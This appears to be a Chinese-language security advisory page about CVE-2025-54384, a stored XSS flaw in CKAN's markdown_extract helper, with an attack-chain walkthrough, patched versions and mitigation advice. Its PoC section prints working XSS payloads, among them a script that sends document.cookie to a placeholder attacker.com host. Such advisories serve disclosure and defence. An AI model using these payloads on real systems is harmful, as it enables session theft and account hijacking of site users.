IPBUF安全漏洞报告
English
CVE-2025-54384 CVSS 6.3 中危

CVE-2025-54384: CKAN helpers.markdown_extract XSS跨站脚本漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-54384
漏洞类型
XSS跨站脚本攻击
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
CKAN

相关标签

CVE-2025-54384XSS跨站脚本存储型XSSCKAN数据管理系统markdown_extract输入验证不足HTML注入CVE-2025GitHub安全公告

漏洞概述

CVE-2025-54384是CKAN数据管理系统中的一个存储型XSS跨站脚本漏洞。CKAN是一个开源的DMS(数据管理系统),用于为数据中心和开放数据门户提供支持。该漏洞存在于helpers.markdown_extract()函数中,该函数在处理用户提供的Markdown内容时,未能对输入数据进行充分的HTML转义和过滤,直接将未经过滤的内容包装到HTML文本元素中进行渲染。攻击者可以通过在数据集、资源、组织或组的描述字段中注入恶意JavaScript代码,当其他用户访问这些页面时,恶意脚本将在受害者浏览器中执行,从而窃取会话Cookie、劫持用户账户或进行其他恶意操作。该漏洞的CVSS评分为6.3,属于中等严重程度,需要低权限用户交互才能触发,但机密性影响较高。

技术细节

该漏洞的根本原因在于CKAN的markdown_extract辅助函数在处理Markdown转换后的HTML内容时存在安全漏洞。markdown_extract函数本应用于提取Markdown文本中的纯文本摘要,但其实现逻辑错误地保留了HTML标签而未进行适当的转义处理。当用户提交的Markdown内容包含恶意的HTML/JavaScript代码时,这些代码会被直接嵌入到页面DOM中执行。攻击者可以利用此漏洞在数据集中的描述字段、资源元数据或组织页面中注入包含onerror、onload等事件处理器的img、script或其他HTML标签。例如,攻击者可以在Markdown内容中插入<img src=x onerror=alert(document.cookie)>,当管理员或普通用户查看包含该内容的数据集页面时,恶意JavaScript代码将在其浏览器上下文中执行。漏洞影响所有使用markdown_extract函数渲染用户输入的页面,包括核心功能和扩展插件。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标CKAN实例版本,确认版本低于2.10.9或2.11.4,并确认markdown_extract函数在相关页面中被使用
STEP 2
步骤2: 权限获取
攻击者注册CKAN账户并获取低权限用户资格,或利用已有的低权限账户登录系统
STEP 3
步骤3: 恶意Payload构造
攻击者构造包含XSS Payload的Markdown内容,使用<img>、<script>或其他HTML标签注入恶意JavaScript代码
STEP 4
步骤4: 数据提交
攻击者通过API或Web界面创建/编辑数据集、资源、组织或组,在描述字段中提交恶意Markdown内容
STEP 5
步骤5: 内容渲染
CKAN系统使用markdown_extract()函数渲染用户提交的内容,由于缺乏充分过滤,恶意HTML被直接嵌入到页面DOM中
STEP 6
步骤6: 受害者访问
管理员或其他用户在不知情的情况下访问包含恶意内容的数据集或组织页面
STEP 7
步骤7: XSS执行
恶意JavaScript代码在受害者浏览器中执行,可窃取会话Cookie、劫持用户会话、执行未授权操作或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-54384 XSS PoC - CKAN markdown_extract() Sanitization Bypass // This PoC demonstrates the stored XSS vulnerability in CKAN's markdown_extract helper // Attacker submits malicious Markdown content when creating/updating a dataset: const maliciousMarkdown = ` # Malicious Dataset Some description with <img src=x onerror=alert(document.cookie)> embedded. Or using script tag: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> Or event handler on any element: <div onmouseover=alert('XSS')>Hover over me</div> `; // When CKAN renders the dataset page using markdown_extract(), // the malicious HTML/JS is rendered without proper sanitization, // leading to XSS execution in victim's browser. // Example attack scenario: // 1. Attacker creates a dataset with malicious description // 2. Victim (admin/user) views the dataset page // 3. Malicious JS executes in victim's browser context // 4. Attacker can steal session cookies, perform actions as victim // Note: This PoC is for educational and security testing purposes only. // Always obtain proper authorization before testing vulnerabilities.

影响范围

CKAN < 2.10.9
CKAN < 2.11.4

防御指南

临时缓解措施
立即将CKAN升级到2.10.9或2.11.4版本以修复该漏洞。在升级前,可以临时禁用markdown_extract函数的直接用户输入渲染,或在Web应用防火墙(WAF)层添加XSS过滤规则。同时建议启用HTTP响应头的Content-Security-Policy策略,限制脚本来源,减少XSS漏洞的实际危害。对于无法立即升级的生产环境,建议加强对数据集和组织页面的访问控制,限制不受信任用户创建内容的能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表